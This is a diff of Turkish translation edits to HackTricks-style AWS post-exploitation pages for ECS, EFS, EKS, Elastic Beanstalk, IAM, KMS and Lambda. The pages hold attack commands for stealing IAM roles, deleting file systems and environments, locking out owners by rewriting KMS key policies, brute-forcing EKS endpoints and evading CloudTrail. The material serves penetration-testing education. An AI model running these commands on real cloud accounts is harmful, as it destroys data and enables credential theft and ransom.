--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -10,7 +10,7 @@ Daha fazla bilgi için kontrol edin:
../aws-services/aws-ecs-enum.md
{{#endref}}
-### Host IAM Rolleri
+### Host IAM Roles
ECS'de bir **IAM rolü, konteyner içinde çalışan göreve atanabilir.** **Eğer** görev bir **EC2** örneği içinde çalışıyorsa, **EC2 örneği** üzerinde **başka bir IAM** rolü olacaktır.\
Bu, bir ECS örneğini **ele geçirirseniz**, **ECR ve EC2 örneği ile ilişkili IAM rolünü elde etme** potansiyeline sahip olacağınız anlamına gelir. Bu kimlik bilgilerini nasıl alacağınız hakkında daha fazla bilgi için kontrol edin:
@@ -22,13 +22,13 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
> [!CAUTION]
> EC2 örneği IMDSv2'yi zorunlu kılıyorsa, [**belgelere göre**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT isteğinin yanıtı** **1'lik bir hop limiti** olacaktır, bu da EC2 örneği içindeki bir konteynerden EC2 meta verilerine erişimi imkansız hale getirir.
-### Diğer konteynerlerin kimlik bilgilerini ve sırlarını çalmak için node'a yükselme
+### Privesc to node to steal other containers creds & secrets
-Ayrıca, EC2, EC'lerin görevlerini çalıştırmak için docker kullanır, bu nedenle node'a kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.**
+Ayrıca, EC2, EC görevlerini çalıştırmak için docker kullanır, bu nedenle düğüme kaçabilirseniz veya **docker soketine erişebilirseniz**, hangi **diğer konteynerlerin** çalıştığını **kontrol edebilir** ve hatta **içlerine girebilir** ve **bağlı IAM rollerini çalabilirsiniz.**
-#### Konteynerleri mevcut hostta çalıştırma
+#### Making containers run in current host
-Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **ondan tüm görevleri kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılacaktır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir.
+Ayrıca, **EC2 örneği rolü** genellikle **kümeye** düğüm olarak kullanılan EC2 örneklerinin **konteyner örneği durumunu güncellemek için yeterli izinlere** sahip olacaktır. Bir saldırgan, bir örneğin durumunu **DRAINING** olarak değiştirebilir, ardından ECS **tüm görevleri ondan kaldırır** ve **REPLICA** olarak çalışanlar **farklı bir örnekte** çalıştırılır, bu da potansiyel olarak **saldırganın örneği** içinde olabilir, böylece **IAM rollerini çalabilir** ve konteynerin içinden potansiyel hassas bilgileri elde edebilir.
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
@@ -38,7 +38,7 @@ Aynı teknik **EC2 örneğini kümeden kaydını silerek** yapılabilir. Bu pota
aws ecs deregister-container-instance \
--cluster --container-instance --force
```
-Son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır:
+Görevlerin yeniden yürütülmesini zorlamak için son bir teknik, ECS'ye **görev veya konteynerin durdurulduğunu** belirtmektir. Bunu yapmak için 3 potansiyel API vardır:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index 6e5554ec8..6a7d56063 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -16,7 +16,7 @@ Bir saldırgan, bir montaj hedefini silebilir, bu da o montaj hedefine bağıml
```sql
aws efs delete-mount-target --mount-target-id
```
-**Potansiyel Etki**: Dosya sistemi erişiminin kesintiye uğraması ve kullanıcılar veya uygulamalar için potansiyel veri kaybı.
+**Olası Etki**: Dosya sistemi erişiminin kesilmesi ve kullanıcılar veya uygulamalar için potansiyel veri kaybı.
### `elasticfilesystem:DeleteFileSystem`
@@ -24,7 +24,7 @@ Bir saldırgan, tüm EFS dosya sistemini silebilir, bu da veri kaybına yol aça
```perl
aws efs delete-file-system --file-system-id
```
-**Potansiyel Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi.
+**Olası Etki**: Silinen dosya sistemini kullanan uygulamalar için veri kaybı ve hizmet kesintisi.
### `elasticfilesystem:UpdateFileSystem`
@@ -32,11 +32,11 @@ Bir saldırgan, EFS dosya sistemi özelliklerini, örneğin, verimlilik modunu g
```sql
aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps
```
-**Potansiyel Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi.
+**Olası Etki**: Dosya sistemi performansında düşüş veya kaynak tükenmesi.
### `elasticfilesystem:CreateAccessPoint` ve `elasticfilesystem:DeleteAccessPoint`
-Bir saldırgan, erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir.
+Bir saldırgan erişim noktaları oluşturabilir veya silebilir, erişim kontrolünü değiştirebilir ve potansiyel olarak dosya sistemine yetkisiz erişim sağlayabilir.
```arduino
aws efs create-access-point --file-system-id --posix-user --root-directory
aws efs delete-access-point --access-point-id
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 7d5143d82..9ce1551e8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -12,7 +12,7 @@ Daha fazla bilgi için kontrol edin
### AWS Konsolundan küme listeleme
-**`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini görüntüleyebilirsiniz** ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+Eğer **`eks:AccessKubernetesApi`** iznine sahipseniz, AWS EKS konsolu aracılığıyla **Kubernetes nesnelerini** görüntüleyebilirsiniz ([Daha fazla bilgi edinin](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### AWS Kubernetes Kümesine Bağlanma
@@ -21,9 +21,9 @@ Daha fazla bilgi için kontrol edin
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
-- Kolay bir yol değil:
+- O kadar kolay bir yol değil:
-Eğer **`aws eks get-token --name `** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e** ihtiyacınız var (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adını** bilmeniz gerekiyor.
+Eğer **`aws eks get-token --name `** ile **bir token alabiliyorsanız** ama cluster bilgilerini (describeCluster) almak için izinleriniz yoksa, **kendi `~/.kube/config` dosyanızı hazırlayabilirsiniz**. Ancak, token'a sahip olsanız bile, **bağlanmak için url endpoint'e ihtiyacınız var** (eğer bir pod'dan JWT token aldıysanız [buradan](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) okuyun) ve **cluster'ın adına** ihtiyacınız var.
Benim durumumda, CloudWatch loglarında bilgiyi bulamadım, ama **LaunchTemplates userData'da** ve **EC2 makinelerinde userData'da** buldum. Bu bilgiyi **userData** içinde kolayca görebilirsiniz, örneğin bir sonraki örnekte (cluster adı cluster-name idi):
```bash
@@ -33,7 +33,7 @@ API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazon
```
-kube yapılandırması
+kube config
```yaml
describe-cache-parametersapiVersion: v1
clusters:
@@ -72,33 +72,33 @@ provideClusterInfo: false
### AWS'den Kubernetes'e
-**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **kümenin kim tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **bir yolu** yoktur.
+**EKS kümesinin** **yaratıcısı**, grubun **`system:masters`** (k8s admin) kısmına **HER ZAMAN** girebilecektir. Bu yazının yazıldığı sırada **küme kimin tarafından oluşturulduğunu** bulmanın **doğrudan bir yolu** yoktur (CloudTrail'i kontrol edebilirsiniz). Ve bu **yetkiyi** **kaldırmanın** **yolu yoktur**.
**AWS IAM kullanıcıları veya rolleri için K8s'e erişim vermenin** yolu **`aws-auth`** **configmap'ini** kullanmaktır.
> [!WARNING]
-> Bu nedenle, **`aws-auth`** config map üzerinde **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**.
+> Bu nedenle, **`aws-auth`** config map'ine **yazma erişimi** olan herkes **tüm kümeyi tehlikeye atabilecektir**.
-**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**privesc bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+**Aynı veya farklı hesaplarda IAM rolleri ve kullanıcılara ek yetkiler vermek** ve bunu nasıl **istismar edeceğiniz** hakkında daha fazla bilgi için [**bu sayfayı kontrol edin**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
Ayrıca [**bu harika**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **yazıyı kontrol edin, IAM -> Kubernetes kimlik doğrulamasının nasıl çalıştığını öğrenin**.
### Kubernetes'ten AWS'ye
-Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasını** sağlayarak AWS'de rolleri üstlenmelerine izin vermek mümkündür. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+Kubernetes hizmet hesabı için **OpenID kimlik doğrulamasına** izin vermek, onların AWS'de roller üstlenmelerine olanak tanır. [**Bu sayfada nasıl çalıştığını öğrenin**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
-### JWT Token'dan Api Sunucu Uç Noktasını Almak
+### JWT Token'dan GET Api Sunucu Uç Noktası Alma
-JWT token'ı çözümleyerek küme kimliğini ve ayrıca bölgeyi alırız.  EKS url'sinin standart formatının olduğunu bilmekteyiz.
+JWT token'ını çözümleyerek küme kimliğini ve ayrıca bölgeyi alıyoruz.  EKS URL'sinin standart formatının olduğunu bilmek
```bash
https://...eks.amazonaws.com
```
-Dokümantasyonda 'iki karakter' ve 'sayı' için kriterleri açıklayan bir şey bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum:
+Herhangi bir 'iki karakter' ve 'sayı' kriterini açıklayan bir belge bulamadım. Ancak kendi adıma bazı testler yaparak şunların tekrar ettiğini görüyorum:
- gr7
- yl4
-Her halükarda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın.
+Her durumda, sadece 3 karakter var, bunları brute force ile kırabiliriz. Aşağıdaki scripti listeyi oluşturmak için kullanın.
```python
from itertools import product
from string import ascii_lowercase
@@ -119,19 +119,19 @@ Sonra wfuzz ile
wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com
```
> [!WARNING]
-> & ve 'yi değiştirmeyi unutmayın.
+> Unutmayın, & ile değiştirin.
### CloudTrail'ı Atlatma
-Eğer bir saldırganın **EKS üzerinde izinleri olan bir AWS** kimlik bilgileri elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur).
+Eğer bir saldırganın **EKS üzerinde yetkisi olan bir AWS** kimlik bilgilerini elde ederse. Eğer saldırgan, daha önce açıklandığı gibi **`update-kubeconfig`** çağrısı yapmadan kendi **`kubeconfig`** dosyasını yapılandırırsa, **`get-token`** Cloudtrail'de log oluşturmaz çünkü AWS API'si ile etkileşime girmez (sadece token'ı yerel olarak oluşturur).
-Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**.
+Bu nedenle, saldırgan EKS kümesi ile konuştuğunda, **cloudtrail, çalınan kullanıcı ile ilgili hiçbir şeyi kaydetmeyecek**.
-**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak devre dışıdır).
+**EKS kümesinin bu erişimi kaydedecek logları etkinleştirilmiş olabilir** (ancak varsayılan olarak, devre dışıdır).
### EKS Fidye?
-Varsayılan olarak, bir küme oluşturan **kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir.
+Varsayılan olarak, **bir küme oluşturan kullanıcı veya rol** her zaman küme üzerinde **yönetici ayrıcalıklarına sahip olacaktır**. Ve bu, AWS'nin Kubernetes kümesine sahip olacağı tek "güvenli" erişimdir.
Yani, eğer bir **saldırgan fargate kullanarak bir kümeyi ele geçirirse** ve **diğer tüm yöneticileri kaldırırsa** ve **küme oluşturan AWS kullanıcı/rolünü silerse**, ~~saldırgan **küme için fidye talep edebilir**~~**.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 0bed51af4..0f5bff727 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -19,23 +19,23 @@ Daha fazla bilgi için:
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
-**Potansiyel Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı.
+**Olası Etki**: Uygulama dağıtımında kesinti ve uygulama sürümlerinin potansiyel kaybı.
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
-> TODO: Daha fazla izin gerekip gerekmediğini test et
+> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
`elasticbeanstalk:TerminateEnvironment` iznine sahip bir saldırgan, **mevcut bir Elastic Beanstalk ortamını sonlandırabilir**, bu da uygulama için kesintiye ve ortam yedeklemeleri yapılandırılmamışsa potansiyel veri kaybına neden olabilir.
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
-**Potansiyel Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması.
+**Olası Etki**: Uygulamanın kesintiye uğraması, potansiyel veri kaybı ve hizmetlerin aksaması.
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
-> TODO: Daha fazla izin gerekip gerekmediğini test et
+> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
`elasticbeanstalk:DeleteApplication` iznine sahip bir saldırgan, **tüm Elastic Beanstalk uygulamasını**, tüm sürümleri ve ortamlarıyla birlikte **silme** yetkisine sahiptir. Bu eylem, yedeklenmemişse uygulama kaynakları ve yapılandırmalarında önemli bir kayba neden olabilir.
```bash
@@ -52,12 +52,12 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
-**Potansiyel Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak.
+**Olası Etki**: Kullanıcılara uygulamanın yanlış versiyonunu sunmak veya değiştirilmiş ortamlar nedeniyle uygulamada istenmeyen davranışlara neden olmak.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
> [!NOTE]
-> TODO: Bunun için daha fazla izne ihtiyaç olup olmadığını test et
+> TODO: Bunun için daha fazla izin gerekip gerekmediğini test et
`elasticbeanstalk:AddTags` ve `elasticbeanstalk:RemoveTags` izinlerine sahip bir saldırgan, **Elastic Beanstalk kaynaklarına etiket ekleyebilir veya kaldırabilir**. Bu eylem, yanlış kaynak tahsisine, faturalandırmaya veya kaynak yönetimine yol açabilir.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 77a7c2159..31d78094e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -12,13 +12,13 @@ IAM erişimi hakkında daha fazla bilgi için:
## Confused Deputy Problem
-Eğer **bir dış hesabın (A)** sizin hesabınızdaki bir **role** erişmesine **izin verirseniz**, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir problemdir, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin de sizin hesabınıza erişebilmesi mümkündür**.
+Eğer **bir dış hesabın (A)** hesabınızdaki bir **role** erişmesine izin verirseniz, muhtemelen **o dış hesabın** **kimler tarafından tam olarak erişilebileceği** konusunda **0 görünürlüğe** sahip olacaksınız. Bu bir sorun, çünkü başka bir dış hesap (B) dış hesap (A)'ya erişebiliyorsa, **B'nin hesabınıza da erişebilme ihtimali vardır**.
-Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken, bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A'ya erişimi olsa bile, **rolünüze erişemeyecektir**.
+Bu nedenle, bir dış hesabın hesabınızdaki bir role erişmesine izin verirken bir `ExternalId` belirtmek mümkündür. Bu, dış hesabın (A) **rolü üstlenebilmesi için** **belirtmesi gereken** bir "gizli" dizedir. **Dış hesap B bu dizeyi bilmeyeceği için**, A üzerinde erişimi olsa bile **rolünüze erişemeyecektir**.
-Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**.
+Ancak, bu `ExternalId` "gizli" dizesinin **gerçekten bir gizli bilgi olmadığını** unutmayın, IAM rol üstlenme politikasını **okuyabilen herkes bunu görebilir**. Ama dış hesap A bunu biliyorsa, ancak dış hesap **B bunu bilmiyorsa**, bu durum **B'nin A'yı kötüye kullanarak rolünüze erişmesini engeller**.
Örnek:
```json
@@ -39,11 +39,11 @@ Ancak, bu `ExternalId` "gizli" dizesinin **gerçek bir gizli bilgi olmadığın
}
```
> [!WARNING]
-> Bir saldırganın karışık bir delegeyi istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir.
+> Bir saldırganın karışık bir vekili istismar etmesi için, mevcut hesabın ilkelerinin diğer hesaplarda rollerin taklit edilip edilemeyeceğini bir şekilde bulması gerekecektir.
### Beklenmedik Güvenler
-#### Wildcard olarak ilke
+#### Vahşi karakter olarak ilke
```json
{
"Action": "sts:AssumeRole",
@@ -73,7 +73,7 @@ Bu politika **herhangi bir hesabın** bu Lambda'yı çağırmak için apigateway
}
}
```
-Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında oluşturursa**, bunu kötüye kullanabilirler.
+Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bir Account ID'si yoktur, eğer **bucket'ınızı silerseniz ve saldırgan kendi hesabında** bunu oluşturursa, bunu kötüye kullanabilirler.
#### Desteklenmiyor
```json
@@ -86,7 +86,7 @@ Eğer bir S3 bucket bir principal olarak verilirse, çünkü S3 bucket'ların bi
```
Confused Deputy problemlerinden kaçınmanın yaygın bir yolu, köken ARN'sini kontrol etmek için `AWS:SourceArn` ile bir koşul kullanmaktır. Ancak, **bazı hizmetler bunu desteklemeyebilir** (bazı kaynaklara göre CloudTrail gibi).
-## References
+## Referanslar
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 5a706421b..8c39fd708 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - KMS Sonrası Sömürü
+# AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -15,12 +15,12 @@ Daha fazla bilgi için kontrol edin:
`fileb://` ve `file://` AWS CLI komutlarında yerel dosyaların yolunu belirtmek için kullanılan URI şemalarıdır:
- `fileb://:` Dosyayı ikili modda okur, genellikle metin dışı dosyalar için kullanılır.
-- `file://:` Dosyayı metin modunda okur, tipik olarak düz metin dosyaları, betikler veya özel kodlama gereksinimleri olmayan JSON için kullanılır.
+- `file://:` Dosyayı metin modunda okur, genellikle düz metin dosyaları, betikler veya özel kodlama gereksinimi olmayan JSON için kullanılır.
> [!TIP]
-> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu veriler değil. (fileb://)
+> Bir dosya içindeki verileri şifre çözmek istiyorsanız, dosyanın ikili verileri içermesi gerektiğini unutmayın, base64 kodlu verileri değil. (fileb://)
-- **Simetrik** anahtar kullanarak
+- **simetrik** bir anahtar kullanarak
```bash
# Encrypt data
aws kms encrypt \
@@ -38,7 +38,7 @@ aws kms decrypt \
--query Plaintext | base64 \
--decode
```
-- **Asimetrik** bir anahtar kullanma:
+- **Asimetrik** bir anahtar kullanarak:
```bash
# Encrypt data
aws kms encrypt \
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS Ransomware
-KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak.
+Yetkili erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **kendi hesabına erişim verebilir**, meşru hesaba verilen erişimi kaldırarak.
-Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir ransomware oluşturacaktır.
+Böylece, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir hizmetin bilgilerine erişemeyecek, bu da hesap üzerinde kolay ama etkili bir fidye yazılımı oluşturacaktır.
> [!WARNING]
-> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, sadece **Müşteri yönetilen anahtarlar** etkilenmektedir.
+> **AWS yönetilen anahtarların** bu saldırıdan etkilenmediğini unutmayın, yalnızca **Müşteri yönetilen anahtarlar** etkilenmektedir.
-> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (web konsolundaki bu seçeneğin eksikliği, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar).
+> Ayrıca, **`--bypass-policy-lockout-safety-check`** parametresinin kullanılma gereğini unutmayın (bu seçeneğin web konsolunda olmaması, bu saldırının yalnızca CLI üzerinden mümkün olmasını sağlar).
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> Dikkat edin ki, bu politikayı değiştirir ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**.
+> Bu politikayı değiştirirseniz ve yalnızca bir dış hesaba erişim verirseniz, ardından bu dış hesaptan **erişimi orijinal hesaba geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız**.
@@ -103,9 +103,9 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
Küresel KMS Fidye Yazılımı gerçekleştirmek için başka bir yol vardır, bu aşağıdaki adımları içerecektir:
- Saldırgan tarafından içe aktarılan **anahtar materyali ile yeni bir anahtar oluşturun**
-- **Eski verileri** yeni anahtar ile yeniden şifreleyin.
+- Önceki sürümle şifrelenmiş **eski verileri yeni anahtar ile yeniden şifreleyin**.
- **KMS anahtarını silin**
-- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir.
+- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir
### Anahtarları Yok Et
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index ad29f90aa..6406b050f 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -6,34 +6,34 @@
-1. **Slicer**, **init** sürecine **çağrılar** gönderen konteyner dışındaki bir süreçtir.
-2. Init süreci, bazı ilginç uç noktaları açığa çıkaran **9001** numaralı portta dinler:
-- **`/2018-06-01/runtime/invocation/next`** – bir sonraki çağrı olayını al
-- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – çağrı için işleyici yanıtını döndür
+1. **Slicer**, **invocation**'ları **init** sürecine **gönderen** konteyner dışındaki bir süreçtir.
+2. Init süreci, bazı ilginç uç noktaları açığa çıkaran **9001** portunu dinler:
+- **`/2018-06-01/runtime/invocation/next`** – bir sonraki invocation olayını al
+- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – invoke için handler yanıtını döndür
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – bir yürütme hatası döndür
-3. **bootstrap.py**, init sürecinden çağrıları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**).
+3. **bootstrap.py**, init sürecinden invocation'ları alan bir döngüye sahiptir ve bunları işlemek için kullanıcı kodunu çağırır (**`/next`**).
4. Son olarak, **bootstrap.py** init'e **yanıtı** gönderir.
Bootstrap'ın kullanıcı kodunu bir modül olarak yüklediğini unutmayın, bu nedenle kullanıcı kodu tarafından gerçekleştirilen herhangi bir kod yürütmesi aslında bu süreçte gerçekleşmektedir.
## Lambda İsteklerini Çalmak
-Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap **tuzağa düşmüş** olarak kötü niyetli olanı çalıştıracak, böylece init sürecine istek istemeyecek.
+Bu saldırının amacı, kullanıcı kodunun, savunmasız isteği işleyen **`bootstrap.py`** süreci içinde kötü niyetli bir **`bootstrap.py`** süreci çalıştırmasını sağlamaktır. Bu şekilde, **kötü niyetli bootstrap** süreci, istekleri işlemek için **init süreciyle** **iletişim kurmaya** başlayacakken, **meşru** bootstrap, kötü niyetli olanı çalıştırarak **tuzağa düşürülmüş** olacaktır, böylece init sürecine istek sormayacaktır.
Bu, kullanıcı kodunun meşru **`bootstrap.py`** süreci tarafından yürütüldüğü için basit bir görevdir. Böylece saldırgan:
-- **Mevcut çağrının sahte bir sonucunu init sürecine gönderebilir**, böylece init bootstrap sürecinin daha fazla çağrı beklediğini düşünebilir.
+- **Mevcut invocation'ın sahte bir sonucunu init sürecine gönderebilir**, böylece init, bootstrap sürecinin daha fazla invocation beklediğini düşünebilir.
- **`/${invoke-id}/response`** adresine bir istek gönderilmelidir.
